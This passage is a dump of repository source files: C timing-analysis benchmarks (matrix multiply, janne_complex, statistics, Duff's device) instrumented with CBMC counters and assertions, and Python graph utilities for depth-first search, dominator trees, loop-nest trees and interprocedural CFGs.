25); // Lower capacity constraint\nassert(__count_5_6 <= 25); // Upper capacity constraint\nassert(__count_7_8 >= 5); // Lower capacity constraint\nassert(__count_7_8 <= 5); // Upper capacity constraint\nassert(__count_10 >= 1); // Lower capacity constraint\nassert(__count_10 <= 1); // Upper capacity constraint\nassert(__count_9_10 >= 1); // Lower capacity constraint\nassert(__count_9_10 <= 1); // Upper capacity constraint\nassert(__count_5_4 >= 125); // Lower capacity constraint\nassert(__count_5_4 <= 125); // Upper capacity constraint\n#endif\n\n return C[0][0];\n}\n\nint\nmain (int argc, char *argv[])\n{\n int i, j, k;\n matrix A, B, C;\n\n /*\n * There are 2 matrices with UPPERLIMIT*UPPERLIMIT dimensions that need to be filled up.\n * 2*UPPERLIMIT*UPPERLIMIT values need to be passed on the command-line as a consequence.\n */\n if (argc != 2*UPPERLIMIT*UPPERLIMIT+1)\n {\n return 1;\n }\n\n /*\n * Initialise matrix A.\n */\n k = 0;\n for (i = 0; i < UPPERLIMIT; ++i)\n {\n for (j = 0; j < UPPERLIMIT; ++j)\n {\n A[i][j] = atoi (argv[k + 1]);\n k++;\n }\n }\n\n /*\n * Initialise matrix B but do NOT reset the value of k as it now refers\n * to the 400th element of the command-line.\n */\n for (i = 0; i < UPPERLIMIT; ++i)\n {\n for (j = 0; j < UPPERLIMIT; ++j)\n {\n B[i][j] = atoi (argv[k + 1]);\n k++;\n }\n }\n\n int val = matrixmultiply (A, B, C);\n \n printf(\"%d\", val);\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.5683327913284302, "alphanum_fraction": 0.5711506009101868, "avg_line_length": 41.09321975708008, "blob_id": "9cbb727e5fbe6eb5907330a3ed44f6535d76b7e0", "content_id": "d86574079e743f1d79b89eafba7849e6ca13da9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14905, "license_type": "no_license", "max_line_length": 129, "num_lines": 354, "path": "/GPUTimingAnalysis/src/Trees.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "from DirectedGraphs import DirectedGraph, dummyVertexID\nfrom Vertices import TreeVertex, HeaderVertex, Ipoint\nimport Debug\n\nclass Tree (DirectedGraph):\n def __init__ (self):\n DirectedGraph.__init__(self)\n self._rootID = dummyVertexID\n \n def setRootID (self, rootID):\n assert rootID > dummyVertexID, \"Invalid root ID %d. It must be a positive integer\" % rootID\n assert rootID in self.vertices, \"Cannot find vertex %d\"\n self._rootID = rootID\n \n def getRootID (self):\n assert self._rootID != dummyVertexID, \"Root ID has not yet been set\"\n return self._rootID\n \n def addVertex (self, vertexID):\n assert vertexID not in self.vertices, \"Adding vertex %d which is already in tree\" % vertexID\n treev = TreeVertex(vertexID)\n self.vertices[vertexID] = treev\n \n def addEdge (self, predID, succID):\n DirectedGraph.addEdge(self, predID, succID)\n succv = self.getVertex(succID)\n succv.setParentID(predID)\n \n def isInternalVertex (self, vertexID):\n return self.getVertex(vertexID).numberOfSuccessors() > 0\n \n def levelIterator (self, up=True):\n rootv = self.getVertex(self.getRootID())\n rootv.setLevel(0)\n queue = [rootv]\n levelToVertices = {}\n while queue:\n v = queue.pop()\n for succID in v.getSuccessorIDs():\n queue.insert(0, self.getVertex(succID))\n \n if v.getVertexID() == self.getRootID():\n levelToVertices[0] = [rootv]\n else:\n newLevel = self.getVertex(v.getParentID()).getLevel() + 1\n v.setLevel(newLevel)\n if newLevel not in levelToVertices.keys():\n levelToVertices[newLevel] = []\n levelToVertices[newLevel].append(v)\n \n if up:\n for level in reversed(sorted(levelToVertices.keys())):\n yield level, levelToVertices[level]\n else:\n for level in sorted(levelToVertices.keys()):\n yield level, levelToVertices[level]\n \nclass DepthFirstSearch (Tree):\n def __init__(self, directedg, rootID):\n assert rootID in directedg.vertices.keys(), \"Unable to find vertex %d from which to initiate depth-first search\" % rootID\n Tree.__init__(self)\n self.__preorder = []\n self.__postorder = []\n self.__preorderID = 1\n self.__postorderID = 1\n self.__vertexID2PreID = {}\n self.__vertexID2PostID = {}\n self.__backedges = []\n self.initialise (directedg)\n self.setRootID(rootID)\n self.doSearch (directedg, rootID)\n \n def initialise (self, directedg):\n for v in directedg:\n vertexID = v.getVertexID()\n self.vertices[vertexID] = TreeVertex(vertexID)\n self.__vertexID2PreID[vertexID] = 0\n self.__vertexID2PostID[vertexID] = 0\n \n def doSearch (self, directedg, vertexID):\n self.__vertexID2PreID[vertexID] = self.__preorderID\n self.__preorder.append(vertexID)\n self.__preorderID += 1\n \n v = directedg.getVertex(vertexID)\n for succID in v.getSuccessorIDs ():\n if self.__vertexID2PreID[succID] == 0:\n self.addEdge(vertexID, succID)\n self.doSearch(directedg, succID)\n elif self.__vertexID2PreID[vertexID] < self.__vertexID2PreID[succID]:\n pass\n elif self.__vertexID2PostID[succID] == 0:\n self.__backedges.append([vertexID, succID])\n \n self.__vertexID2PostID[vertexID] = self.__postorderID\n self.__postorder.append(vertexID)\n self.__postorderID += 1\n \n def getPreorder (self):\n return self.__preorder\n \n def getPostorder (self):\n return self.__postorder\n \n def getPreorderVertexID (self, preID):\n assert preID - 1 < len(self.__postorder), \"Pre-order number %d too high\" % preID\n return self.__preorder[preID-1]\n \n def getPostorderVertexID (self, postID):\n assert postID - 1 < len(self.__postorder), \"Post-order number %d too high\" % postID\n return self.__postorder[postID-1]\n \n def getPreID (self, vertexID):\n assert vertexID in self.__vertexID2PreID, \"Unable to find pre-order numbering for vertex %d\" % vertexID\n return self.__vertexID2PreID[vertexID]\n \n def getPostID (self, vertexID):\n assert vertexID in self.__vertexID2PostID, \"Unable to find post-order numbering for vertex %d\" % vertexID\n return self.__vertexID2PostID[vertexID]\n \n def isDFSBackedge (self, sourceID, destinationID):\n return [sourceID, destinationID] in self.__backedges\n \nclass Dominators (Tree):\n def __init__(self, directedg, rootID):\n assert rootID in directedg.vertices.keys(), \"Unable to find vertex %d from which to initiate depth-first search\" % rootID\n Tree.__init__(self)\n self.__directedg = directedg\n self.__immediateDom = {}\n self._initialise (rootID)\n self._solveDFF ()\n self._addEdges ()\n \n def _initialise (self, rootID):\n for v in self.__directedg:\n vertexID = v.getVertexID() \n self.vertices[vertexID] = TreeVertex(vertexID)\n if vertexID == rootID:\n self.__immediateDom[vertexID] = vertexID\n else:\n self.__immediateDom[vertexID] = dummyVertexID\n self.setRootID(rootID)\n \n def _solveDFF (self):\n dfs = DepthFirstSearch(self.__directedg, self._rootID)\n changed = True\n while changed:\n changed = False\n postID = self.__directedg.numOfVertices()\n while postID >= 1:\n vertexID = dfs.getPostorderVertexID(postID)\n if vertexID != self._rootID:\n v = self.__directedg.getVertex(vertexID)\n processedPredID = dummyVertexID\n newIdomID = dummyVertexID\n \n for predID in v.getPredecessorIDs():\n if self.__immediateDom[predID] != dummyVertexID:\n processedPredID = predID\n newIdomID = processedPredID\n for predID in v.getPredecessorIDs():\n if predID != processedPredID:\n if self.__immediateDom[predID] != dummyVertexID:\n newIdomID = self._intersect(dfs, predID, newIdomID)\n \n if newIdomID != dummyVertexID:\n if self.__immediateDom[vertexID] != newIdomID:\n changed = True\n self.__immediateDom[vertexID] = newIdomID\n postID -= 1\n \n def _intersect (self, dfs, left, right):\n uID = left\n vID = right\n while (dfs.getPostID(uID) != dfs.getPostID(vID)):\n while (dfs.getPostID(uID) < dfs.getPostID(vID)):\n uID = self.__immediateDom[uID]\n while (dfs.getPostID(vID) < dfs.getPostID(uID)):\n vID = self.__immediateDom[vID]\n return uID\n \n def _addEdges (self):\n for v in self.__directedg:\n vertexID = v.getVertexID()\n if vertexID != self._rootID:\n assert self.__immediateDom[vertexID] != dummyVertexID, \"Immediate dominator of %d not set\" % vertexID\n self.addEdge(self.__immediateDom[vertexID], vertexID)\n \nclass LoopNests (Tree):\n def __init__(self, directedg, rootID):\n assert rootID in directedg.vertices.keys(), \"Unable to find vertex %d from which to initiate depth-first search\" % rootID\n Tree.__init__(self)\n self.__directedg = directedg\n self.__parent = {}\n self.__loopBodies = {}\n self.__loopTails = {}\n self.__headerVertices = {}\n self.__loopExits = {}\n self.__selfLoopHeaders = []\n self._initialise ()\n self._findLoops (rootID)\n self._findExits ()\n # Set the tree root ID to the header vertex representing the root of the \n # directed graph\n self.setRootID(self.__headerVertices[rootID])\n \n def _initialise (self):\n for v in self.__directedg:\n vertexID = v.getVertexID()\n self.__parent[vertexID] = vertexID\n self.vertices[vertexID] = TreeVertex(vertexID)\n \n def _findLoops (self, rootID):\n dfs = DepthFirstSearch (self.__directedg, rootID)\n for vertexID in reversed(dfs.getPreorder()):\n v = self.__directedg.getVertex(vertexID)\n worklist = []\n for predID in v.getPredecessorIDs():\n if dfs.isDFSBackedge(predID, vertexID):\n if predID == vertexID:\n Debug.debugMessage(\"%s => %s is a loop-back edge of trivial loop\" % (predID, vertexID), 3)\n self._addSelfLoop (vertexID)\n else:\n Debug.debugMessage(\"%s => %s is a loop-back edge of non-trivial loop\" % (predID, vertexID), 3)\n worklist.append(self.__parent[predID])\n \n if worklist:\n self._findLoop (dfs, worklist, vertexID)\n \n def _addSelfLoop (self, headerID):\n newVertexID = self.getNextVertexID()\n headerv = HeaderVertex(newVertexID, headerID)\n self.vertices[newVertexID] = headerv\n self.__headerVertices[headerID] = newVertexID\n self.__loopTails[headerID] = [headerID]\n self.__loopBodies[headerID] = [headerID]\n self.__selfLoopHeaders.append(headerID)\n self.addEdge(newVertexID, headerID)\n \n def _findLoop (self, dfs, worklist, headerID):\n if headerID not in self.__headerVertices.keys():\n newVertexID = self.getNextVertexID()\n headerv = HeaderVertex(newVertexID, headerID)\n self.vertices[newVertexID] = headerv\n self.__headerVertices[headerID] = newVertexID\n self.__loopTails[headerID] = [t for t in worklist]\n else:\n self.__loopTails[headerID].extend([t for t in worklist])\n \n loopBody = []\n while worklist:\n listID = worklist[-1]\n del worklist[-1]\n loopBody.append(listID)\n \n v = self.__directedg.getVertex(listID)\n for predID in v.getPredecessorIDs():\n if not dfs.isDFSBackedge(predID, listID):\n repID = self.__parent[predID]\n if repID not in worklist and repID not in loopBody and repID != headerID:\n worklist.append(repID)\n \n if loopBody:\n parentID = self.__headerVertices[headerID]\n for vertexID in loopBody:\n self.__parent[vertexID] = headerID\n if vertexID in self.__headerVertices.keys():\n childID = self.__headerVertices[vertexID]\n self.addEdge(parentID, childID)\n else:\n self.addEdge(parentID, vertexID)\n self.addEdge(parentID, headerID)\n self.__loopBodies[headerID] = [headerID]\n self.__loopBodies[headerID].extend([v for v in loopBody])\n \n def _findExits (self):\n for headerID in self.__headerVertices.keys():\n self.__loopExits[headerID] = []\n for vertexID in self.__loopBodies[headerID]:\n v = self.__directedg.getVertex(vertexID)\n for succID in v.getSuccessorIDs():\n if succID not in self.__loopBodies[headerID]:\n if headerID != vertexID and self.isLoopHeader(vertexID):\n if succID not in self.__loopBodies[vertexID]:\n self.__loopExits[headerID].append(vertexID)\n else:\n self.__loopExits[headerID].append(vertexID)\n Debug.debugMessage(\"Exits of %s = %s\" % (headerID, self.__loopExits[headerID]), 4)\n \n def __str__ (self):\n string = \"*\" * 20 + \" LNT Output \" + \"*\" * 20 + \"\\n\"\n for v in self.vertices.values():\n string += v.__str__()\n return string\n \n def isLoopHeader (self, vertexID):\n return vertexID in self.__headerVertices.keys()\n \n def getInternalHeaderVertex (self, vertexID):\n v = self.getVertex(vertexID)\n assert isinstance(v, HeaderVertex), \"Vertex %s of LNT is not an internal header vertex\" % vertexID\n return v\n \n def isSelfLoopHeader (self, vertexID):\n return vertexID in self.__selfLoopHeaders\n \n def getHeaderIDs (self):\n return self.__headerVertices.keys()\n \n def getNumberOfHeaders (self):\n return len(self.__headerVertices.keys())\n \n def getNumberOfSelfLoopHeaders (self):\n return len(self.__selfLoopHeaders)\n \n def getSelfLoopHeaderIDs (self):\n return self.__selfLoopHeaders\n \n def getLoopTails (self, headerID):\n assert headerID in self.__headerVertices.keys(), \"Vertex %s is not a loop header\" % headerID\n return self.__loopTails[headerID]\n \n def numberOfLoopTails (self, headerID):\n assert headerID in self.__headerVertices.keys(), \"Vertex %s is not a loop header\" % headerID\n return len(self.__loopTails[headerID])\n \n def getLoopExits (self, headerID):\n assert headerID in self.__headerVertices.keys(), \"Vertex %s is not a loop header\" % headerID\n return self.__loopExits[headerID]\n \n def getLoopBody (self, headerID):\n assert headerID in self.__headerVertices.keys(), \"Vertex %s is not a loop header\" % headerID\n return self.__loopBodies[headerID]\n \n def getIpointsInLoopBody (self, headerID):\n assert headerID in self.__headerVertices.keys(), \"Vertex %s is not a loop header\" % headerID\n return [vertexID for vertexID in self.__loopBodies[headerID] \n if isinstance(self.__directedg.getVertex(vertexID), Ipoint)]\n \n def isLoopBackEdge (self, sourceID, destinationID):\n if destinationID not in self.__headerVertices.keys():\n return False\n else:\n return sourceID in self.__loopTails[destinationID]\n \n def isLoopExitOfLoop (self, vertexID, headerID):\n assert headerID in self.__headerVertices.keys(), \"Vertex %s is not a loop header\" % headerID\n return vertexID in self.__loopExits[headerID]\n \n def isLoopExit (self, vertexID):\n for headerID in self.__headerVertices:\n if self.isLoopExitOfLoop(vertexID, headerID):\n return True\n return False\n " }, { "alpha_fraction": 0.4676036238670349, "alphanum_fraction": 0.5440685749053955, "avg_line_length": 27.16778564453125, "blob_id": "92a411255ecc2210040326e8690d03336ffc3d4d", "content_id": "6cb597f2807b7ed2c797b25b5f73ac9a8b8444a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4198, "license_type": "no_license", "max_line_length": 73, "num_lines": 149, "path": "/DaikonPathInformation/benchmarks/janne_complex.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Janne Complex taken from MDH suite and modified by Adam Betts to consume a\n * test vector supplied on the command line.\n *\n * For this program, a two-element test vector is expected.\n */\n\nint\njanne_complex (int a, int b)\n{\n#ifdef CBMC\n//==========> janne_complex : header 9\nint __count_2_3 = 0;\nint __count_2_4 = 0;\nint __count_5_8 = 0;\nint __count_6_7 = 0;\nint __count_6_8 = 0;\nint __count_9_2 = 0; //Loop counter\n//==========> janne_complex : header 11\nint __count_9_10 = 0;\nint __count_11_9 = 0; //Loop counter\n//==========> janne_complex : header 1\nint __count_12 = 0;\nint __count_11_12 = 0;\n#endif\n #ifdef CBMC\n __count_11_9 = 0;\n #endif\n while (a < 30) // 11\n {\n #ifdef CBMC\n __count_11_9++;\n #endif\n\n #ifdef CBMC\n __count_9_2 = 0;\n #endif\n while (b < a) // 9\n {\n #ifdef CBMC\n __count_9_2++;\n #endif\n if (b > 5) // 2\n {\n #ifdef CBMC\n __count_2_3++;\n #endif\n b = b * 3; // 3\n }\n else\n {\n #ifdef CBMC\n __count_2_4++;\n #endif\n b = b + 2; // 4\n }\n \n if (b >= 10 && b <= 12) // 5, 6\n {\n #ifdef CBMC\n __count_6_7++;\n #endif\n a = a + 10; // 7\n }\n else\n {\n #ifdef CBMC\n if (b >= 10) __count_6_8++;\n else __count_5_8++;\n #endif\n a = a + 1; // 8\n }\n }\n #ifdef CBMC\n assert(__count_9_2 <= 7); // Loop counter property\n __count_9_10++;\n #endif\n a = a + 2;\n b = b - 10;\n }\n #ifdef CBMC\n assert(__count_11_9 <= 11); // Loop counter property\n __count_11_12++;\n __count_12++;\n #endif\n\n#ifdef CBMC\nassert(__count_12 >= 1); // Lower capacity constraint\nassert(__count_12 <= 1); // Upper capacity constraint\nassert(__count_2_3 <= 5); // Upper capacity constraint\nassert(__count_2_4 <= 7); // Upper capacity constraint\nassert(__count_5_8 <= 7); // Upper capacity constraint\nassert(__count_6_8 <= 5); // Upper capacity constraint\nassert(__count_6_7 == 0); // Dead code\nassert(__count_9_10 <= 10); // Upper capacity constraint\nassert(__count_11_12 >= 1); // Lower capacity constraint\nassert(__count_11_12 <= 1); // Upper capacity constraint\nassert(__count_2_3 > 0 ==> __count_6_8 > 0); // Mutual inclusion\nassert(__count_6_8 > 0 ==> __count_2_3 > 0); // Mutual inclusion\nassert(__count_2_3 > 0 ==> __count_9_10 > 0); // Mutual inclusion\nassert(__count_9_10 > 0 ==> __count_2_3 > 0); // Mutual inclusion\nassert(__count_2_4 > 0 ==> __count_5_8 > 0); // Mutual inclusion\nassert(__count_5_8 > 0 ==> __count_2_4 > 0); // Mutual inclusion\nassert(__count_6_8 > 0 ==> __count_9_10 > 0); // Mutual inclusion\nassert(__count_9_10 > 0 ==> __count_6_8 > 0); // Mutual inclusion\nassert(__count_2_3 > 0 ==> __count_12 > 0); // Execution dependence\nassert(__count_2_3 > 0 ==> __count_11_12 > 0); // Execution dependence\nassert(__count_2_4 > 0 ==> __count_12 > 0); // Execution dependence\nassert(__count_2_4 > 0 ==> __count_2_3 > 0); // Execution dependence\nassert(__count_2_4 > 0 ==> __count_6_8 > 0); // Execution dependence\nassert(__count_2_4 > 0 ==> __count_9_10 > 0); // Execution dependence\nassert(__count_2_4 > 0 ==> __count_11_12 > 0); // Execution dependence\nassert(__count_5_8 > 0 ==> __count_12 > 0); // Execution dependence\nassert(__count_5_8 > 0 ==> __count_2_3 > 0); // Execution dependence\nassert(__count_5_8 > 0 ==> __count_6_8 > 0); // Execution dependence\nassert(__count_5_8 > 0 ==> __count_9_10 > 0); // Execution dependence\nassert(__count_5_8 > 0 ==> __count_11_12 > 0); // Execution dependence\nassert(__count_6_8 > 0 ==> __count_12 > 0); // Execution dependence\nassert(__count_6_8 > 0 ==> __count_11_12 > 0); // Execution dependence\nassert(__count_9_10 > 0 ==> __count_12 > 0); // Execution dependence\nassert(__count_9_10 > 0 ==> __count_11_12 > 0); // Execution dependence\n#endif\n\n return a;\n}\n\nint\nmain (int argc, char *argv[])\n{\n /*\n * Two integer values must be supplied\n */\n if (argc != 3)\n {\n return 1;\n }\n \n int arg1 = atoi(argv[1]);\n int arg2 = atoi(argv[2]);\n \n #ifdef CBMC\n __CPROVER_assume(arg1 >= 1 && arg1 <= 50);\n __CPROVER_assume(arg1 >= 2 && arg2 <= 50);\n #endif\n\n int val = janne_complex (arg1, arg2);\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.5290416479110718, "alphanum_fraction": 0.576153576374054, "avg_line_length": 20.135713577270508, "blob_id": "54760021a0e18850adf531e4e260b4c1f3246ae3", "content_id": "aa42243c065bffa845d1610be25db0a753e024da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6198, "license_type": "no_license", "max_line_length": 80, "num_lines": 280, "path": "/DaikonPathInformation/benchmarks/statistics.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Statistics program taken from MDH suite and modified by Adam Betts to consume a\r\n * test vector supplied on the command line.\r\n *\r\n * For this program, the test vector is a list of doubles.\r\n * There must be an even number of doubles on the command line because there are\r\n * two arrays to fill, each of the same dimension.\r\n *\r\n * Unfortunately the 'math' header file is needed for the 'sqrt' function.\r\n * To compile and link correctly do:\r\n * 'gcc -lm -o <outfile> st.c'\r\n */\r\n\r\nfloat sqrt(const double x) \r\n{\r\n#ifdef CBMC\r\n//==========> sqrt : header 15\r\nint __count_15 = 0;\r\n#endif\r\n union\r\n {\r\n int i;\r\n double x;\r\n } u;\r\n\r\n u.x = x;\r\n u.i = (1<<29) + (u.i >> 1) - (1<<22); \r\n #ifdef CBMC\r\n __count_15++;\r\n #endif\r\n\r\n#ifdef CBMC\r\nassert(__count_15 >= 1); // Lower capacity constraint\r\nassert(__count_15 <= 1); // Upper capacity constraint\r\n#endif\r\n\r\n return u.x;\r\n} \r\n\r\ndouble\r\nSquare (double x)\r\n{\r\n#ifdef CBMC\r\n//==========> square : header 16\r\nint __count_16 = 0;\r\n#endif\r\n\r\n #ifdef CBMC\r\n __count_16++;\r\n #endif\r\n\r\n#ifdef CBMC\r\nassert(__count_16 >= 1); // Lower capacity constraint\r\nassert(__count_16 <= 1); // Upper capacity constraint\r\n#endif\r\n\r\n return x * x;\r\n}\r\n\r\nvoid\r\nCalc_Sum_Mean (double Array[], double * Sum, double * Mean, int ARRAY_SIZE)\r\n{\r\n#ifdef CBMC\r\n//==========> calc_sum_mean : header 19\r\nint __count_19_18 = 0;\r\nint __count_19_18_L = 0; //Loop counter\r\n//==========> calc_sum_mean : header 17\r\nint __count_20 = 0;\r\nint __count_19_20 = 0;\r\n#endif\r\n\r\n int i;\r\n\r\n *Sum = 0;\r\n #ifdef CBMC\r\n __count_19_18_L = 0;\r\n #endif\r\n for (i = 0; i < ARRAY_SIZE; i++)\r\n {\r\n #ifdef CBMC\r\n __count_19_18_L++;\r\n __count_19_18++;\r\n #endif\r\n *Sum += Array[i];\r\n }\r\n #ifdef CBMC\r\n assert(__count_19_18_L <= 11); // Loop counter property\r\n __count_19_20++;\r\n #endif\r\n\r\n *Mean = *Sum / ARRAY_SIZE;\r\n \r\n #ifdef CBMC\r\n __count_20++;\r\n #endif\r\n\r\n\r\n#ifdef CBMC\r\nassert(__count_19_20 >= 1); // Lower capacity constraint\r\nassert(__count_19_20 <= 1); // Upper capacity constraint\r\n//assert(__count_19_18 >= 10); // Lower capacity constraint\r\nassert(__count_19_18 <= 10); // Upper capacity constraint\r\nassert(__count_20 >= 1); // Lower capacity constraint\r\nassert(__count_20 <= 1); // Upper capacity constraint\r\n#endif\r\n}\r\n\r\nvoid\r\nCalc_Var_Stddev (double Array[], double Mean, double * Var, double * Stddev,\r\n int ARRAY_SIZE)\r\n{\r\n#ifdef CBMC\r\n//==========> calc_var_stddev : header 24\r\nint __count_24_22 = 0;\r\nint __count_24_22_L = 0; //Loop counter\r\n//==========> calc_var_stddev : header 21\r\nint __count_26 = 0;\r\nint __count_24_25 = 0;\r\n#endif\r\n\r\n int i;\r\n double diffs = 0.0;\r\n\r\n #ifdef CBMC\r\n __count_24_22_L = 0;\r\n #endif\r\n for (i = 0; i < ARRAY_SIZE; i++)\r\n {\r\n #ifdef CBMC\r\n __count_24_22_L++;\r\n __count_24_22++;\r\n #endif\r\n diffs += Square (Array[i] - Mean);\r\n }\r\n #ifdef CBMC\r\n assert(__count_24_22_L <= 11); // Loop counter property\r\n __count_24_25++;\r\n #endif\r\n\r\n *Var = diffs / ARRAY_SIZE;\r\n *Stddev = sqrt (*Var);\r\n \r\n #ifdef CBMC\r\n __count_26++;\r\n #endif\r\n\r\n#ifdef CBMC\r\n\r\nassert(__count_26 >= 1); // Lower capacity constraint\r\nassert(__count_26 <= 1); // Upper capacity constraint\r\nassert(__count_24_25 >= 1); // Lower capacity constraint\r\nassert(__count_24_25 <= 1); // Upper capacity constraint\r\n//assert(__count_24_22 >= 10); // Lower capacity constraint\r\nassert(__count_24_22 <= 10); // Upper capacity constraint\r\n#endif\r\n}\r\n\r\nvoid\r\nCalc_LinCorrCoef (double ArrayA[], double ArrayB[], double MeanA, double MeanB,\r\n int ARRAY_SIZE)\r\n{\r\n#ifdef CBMC\r\n//==========> calc_lincorrcoef : header 11\r\nint __count_8_9 = 0;\r\nint __count_11_8 = 0; //Loop counter\r\n//==========> calc_lincorrcoef : header 7\r\nint __count_14 = 0;\r\nint __count_11_12 = 0;\r\n#endif\r\n\r\n int i;\r\n double numerator = 0.0;\r\n double Aterm = 0.0;\r\n double Bterm = 0.0;\r\n double Coef;\r\n\r\n #ifdef CBMC\r\n __count_11_8 = 0;\r\n #endif\r\n for (i = 0; i < ARRAY_SIZE; i++)\r\n {\r\n #ifdef CBMC\r\n __count_11_8++;\r\n __count_8_9++;\r\n #endif\r\n numerator += (ArrayA[i] - MeanA) * (ArrayB[i] - MeanB);\r\n Aterm += Square (ArrayA[i] - MeanA);\r\n Bterm += Square (ArrayB[i] - MeanB);\r\n }\r\n #ifdef CBMC\r\n assert(__count_11_8 <= 11); // Loop counter property\r\n __count_11_12++;\r\n #endif\r\n Coef = numerator / (sqrt (Aterm) * sqrt (Bterm));\r\n #ifdef CBMC\r\n __count_14++;\r\n #endif\r\n\r\n\r\n#ifdef CBMC\r\n//assert(__count_8_9 >= 10); // Lower capacity constraint\r\nassert(__count_8_9 <= 10); // Upper capacity constraint\r\nassert(__count_14 >= 1); // Lower capacity constraint\r\nassert(__count_14 <= 1); // Upper capacity constraint\r\nassert(__count_11_12 >= 1); // Lower capacity constraint\r\nassert(__count_11_12 <= 1); // Upper capacity constraint\r\n#endif\r\n\r\n}\r\n\r\nint\r\nstatistics (double ArrayA[], double ArrayB[], int ARRAY_SIZE) \r\n{\r\n#ifdef CBMC\r\n//==========> statistics : header 1\r\nint __count_6 = 0;\r\nint __count_1_2 = 0;\r\n#endif\r\n\r\n #ifdef CBMC\r\n __count_1_2++;\r\n #endif\r\n\r\n double SumA;\r\n double SumB;\r\n double VarA;\r\n double VarB;\r\n double MeanA;\r\n double MeanB;\r\n double StddevA;\r\n double StddevB; \r\n \r\n Calc_Sum_Mean (ArrayA, &SumA, &MeanA, ARRAY_SIZE);\r\n Calc_Var_Stddev (ArrayA, MeanA, &VarA, &StddevA, ARRAY_SIZE);\r\n Calc_Sum_Mean (ArrayB, &SumB, &MeanB, ARRAY_SIZE);\r\n Calc_Var_Stddev (ArrayB, MeanB, &VarB, &StddevB, ARRAY_SIZE);\r\n Calc_LinCorrCoef (ArrayA, ArrayB, MeanA, MeanB, ARRAY_SIZE);\r\n \r\n #ifdef CBMC\r\n __count_6++;\r\n #endif\r\n\r\n#ifdef CBMC\r\nassert(__count_6 >= 1); // Lower capacity constraint\r\nassert(__count_6 <= 1); // Upper capacity constraint\r\nassert(__count_1_2 >= 1); // Lower capacity constraint\r\nassert(__count_1_2 <= 1); // Upper capacity constraint\r\n#endif\r\n\r\n return ArrayA[0];\r\n}\r\n\r\nint\r\nmain (int argc, char *argv[])\r\n{\r\n const int ELEMENTS = argc - 1;\r\n int i;\r\n double ArrayA[ELEMENTS/2];\r\n double ArrayB[ELEMENTS/2];\r\n \r\n if (argc == 1 || ELEMENTS % 2 == 1)\r\n {\r\n return 1;\r\n }\r\n\r\n for (i = 0; i < ELEMENTS/2; i++)\r\n {\r\n ArrayA[i] = atoi (argv[i + 1]);\r\n }\r\n for (i = 0; i < ELEMENTS/2; i++)\r\n {\r\n ArrayB[i] = atoi (argv[i + 1]);\r\n }\r\n\r\n int val = statistics (ArrayA, ArrayB, ELEMENTS/2);\r\n \r\n printf(\"%d\", val);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.47782427072525024, "alphanum_fraction": 0.4945606589317322, "avg_line_length": 13.397590637207031, "blob_id": "398bb36658695e6c5317ca41af302007ee61e055", "content_id": "c572f8c1562cb90a30b21841ba626b1e65e16941", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1195, "license_type": "no_license", "max_line_length": 73, "num_lines": 83, "path": "/benchmarks/duff/duff.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\r * Duff's device taken from MDH suite and modified by Adam Betts to consume a\r\r * test vector supplied on the command line.\r\r * For this program, a one-element test vector is expected which controls\r\r * the number of iterations of the loop\r\r */\r\rvoid\rduff (char *to, char *from, int count)\r{\r int n = (count + 7) / 8;\r\r switch (count % 8)\r {\r case 0:\r do\r {\r *to++ = *from++;\r\r case 7:\r *to++ = *from++;\r\r case 6:\r *to++ = *from++;\r\r case 5:\r *to++ = *from++;\r\r case 4:\r *to++ = *from++;\r\r case 3:\r *to++ = *from++;\r\r case 2:\r *to++ = *from++;\r\r case 1:\r *to++ = *from++;\r }\r while (--n > 0);\r }\r}\r\rint\rmain (int argc, char *argv[])\r{\r const int ARRAY_SIZE = 100;\r char source[ARRAY_SIZE];\r char target[ARRAY_SIZE];\r int i;\r int INVOCATION_COUNT;\r\r /*\r\r * One integer value must be supplied\r\r */\r if (argc != 2)\r {\r return 1;\r }\r\r /*\r\r * Initialise the source array\r\r */\r for (i = 0; i < ARRAY_SIZE; i++)\r {\r source[i] = ARRAY_SIZE - i;\r }\r\r INVOCATION_COUNT = atoi (argv[1]);\r duff (source, target, INVOCATION_COUNT);\r\r return 0;\r}\r" }, { "alpha_fraction": 0.5542477965354919, "alphanum_fraction": 0.5561737418174744, "avg_line_length": 42.23147964477539, "blob_id": "d544db9147032c7b8db1995c95727541dce966bb", "content_id": "76caa596f8027b08b7294e40d8cf2b7c53f8fd38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4673, "license_type": "no_license", "max_line_length": 91, "num_lines": 108, "path": "/GPUTimingAnalysis/src/ICFGs.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import CFGs, Vertices, Debug, Trees\nimport copy\n\nclass ICFG (CFGs.CFG):\n def __init__ (self, cfg):\n Debug.debugMessage(cfg, 10)\n CFGs.CFG.__init__(self)\n self.__branchDivergentEdges = []\n self.setName(cfg.getName())\n for bb in cfg:\n bbID = bb.getVertexID()\n self.vertices[bbID] = copy.deepcopy(bb)\n self.__addIpoints()\n \n def __addIpoints (self):\n for bb in self:\n address, instr = bb.getFirstInstruction()\n vertexID = self.getNextVertexID ()\n ipoint = Vertices.Ipoint(vertexID, address)\n self.vertices[vertexID] = ipoint\n Debug.debugMessage(\"Adding Ipoint %d with ID %s\" % (vertexID, hex(address)), 4)\n self.__linkIpoint(bb, ipoint)\n \n def __linkIpoint (self, bb, ipoint):\n for predID in bb.getPredecessorIDs():\n predv = self.getVertex(predID)\n self.addEdge(predID, ipoint.getVertexID())\n predv.removeSuccessor(bb.getVertexID())\n bb.removePredecessor(predID)\n self.addEdge(ipoint.getVertexID(), bb.getVertexID())\n \n def isIpoint (self, vertexID):\n v = self.getVertex(vertexID)\n return isinstance(v, Vertices.Ipoint)\n \n def getIpoint (self, vertexID):\n v = self.getVertex(vertexID)\n assert isinstance(v, Vertices.Ipoint), \"Vertex %d is not an Ipoint\" % vertexID\n return v\n \n 